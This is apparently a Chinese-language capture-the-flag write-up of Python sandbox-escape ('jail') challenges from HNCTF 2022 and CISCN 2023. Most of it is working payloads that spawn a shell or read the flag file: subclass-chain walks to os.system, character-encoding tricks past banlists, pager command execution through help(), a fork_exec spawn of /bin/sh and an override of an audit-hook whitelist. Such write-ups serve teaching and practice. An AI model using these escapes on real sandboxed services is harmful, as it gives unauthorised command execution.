Python沙盒逃逸做题笔记

[HNCTF 2022 Week1]python2 input(JAIL)

法一

payload1:

1
__import__('os').system('sh')

法二

payload2:

1
__builtins__.__import__('os').system('cat ./flag')

[CISCN 2023 初赛]pyshell

-:返回上一次运行语句的结果,可以进行字符串拼接。

输入长度不大于$7$。

法一

总payload:

1
eval(open("/flag","r").read())

依次输入:

1
2
3
4
5
6
7
8
9
10
"open"
_+'("/'
_+'fla'
_+'g"'
-+',"r'
_+'")'
_+'.'
_+'rea'
_+'d()'
eval(_)

法二

总payload:

1
open('\flag').read()

依次输入:

1
2
3
4
'/flag'
open(_)
_.read()
_()

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

__class__:返回当前对象属于的类,例如'a'.__class__属于str类。

__base__:返回当前类的基类。

__subclasses__:返回当前类的所有子类。

__init__:进行类的初始化操作。

__globals__:返回全局变量。

BANLIST:

1
"'`ib

先通过以下语句得出所有子类:

1
().__class__.__base__.__subclasses__()

因为“b”被禁,使用getattr()chr()绕过。

payload1:

1
getattr(getattr(().__class__,chr(95)+...+chr(95)),chr(95)+...+chr(95))()

找到类os.wrap_close,本题在$-4$位置。

总形式:

1
().__class__.__base__.__subclass__()[-4].__init__.__globals__['system']('sh')

payload2:

1
getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(39)+chr(115)+chr(104)+chr(39))

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

__import__:载入模块函数,例如载入os模块为__import__('os')

输入长度不大于$13$。

payload1:

1
breakpoint()

进入Pdb

payload2:

1
2
eval(input())
__import__('os').system('sh')

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

限制13字符。

BANLIST:

1
exec input eval

同上。

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

限制$7$字符。

使用help()函数,随后获取os的帮助,因内容太多会使用--More--进行展示。在其后面使用!cat flag造成命令执行。

payload:

1
2
3
help()
os
!cat flag

[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)

BANLIST:

1
"\'` __loader__ __import__ compile eval exec chr

没有禁掉b,可以拿bytes[]system

payload1:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

BANLIST:

1
__loader__ __import__ compile eval exec chr input locals globals "\'`

同上。

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)

BANLIST:

1
__loader__ __import__ compile eval exec chr input locals globals bytes "\'`

bytes的子类索引为6。

payload1:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)

BANLIST:

1
__loader__ __import__ compile eval exec chr input locals globals bytes type open "\'`+

法一

同上

法二

__doc__:返回默认类的帮助文档。

__doc__中一个字符一个字符地找,+被禁,用join()代替。

payload1:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)

__repr__:“自我描述”功能。直接打印类的实例化对象时调用,输出自我描述信息。

__str__:功能同上。但__repr__一般设置为开发者看,__str__给用户看。

需要注意的是:当不用print时,直接在交互命令行中输入该对象来输出时,走__repr__而不走__str__

由程序可知输入的命令中flag被替换为my_flag,并禁止了__repr____str__

根据提示可知payload1:

1
dir()

随后如果直接输入:

1
my_flag.flag_level5

则程序会走__repr__。为了绕过,使用.join()。payload2:

1
str().join(my_flag.flag_level5)

(疑问)[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)

WHITELIST:

1
builtins.input builtins.input/result exec compile

__loader__:加载器在导入的模块上设置的属性,访问时返回加载器对象本身。

法一

不知道这为啥能命中白名单…

payload1:

1
2
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"],True,(),None,None,-1,-1,-1,-1,-1,-1,*(os.pipe()),False,False,None,None,None,-1,None)

法二

payload2:

1
exec("globals()['__builtins__']['set']=lambda x:['builtins.input','builtins.input/result','exec','compile','os.system']\nimport os\nos.system('/bin/sh')")

(疑问)[HNCTF 2022 WEEK3]calc_jail_beginner_level7(JAIL)

这是为啥?

payload1:

1
2
3
4
5
@exec
@input
class X:
pass
--HNCTF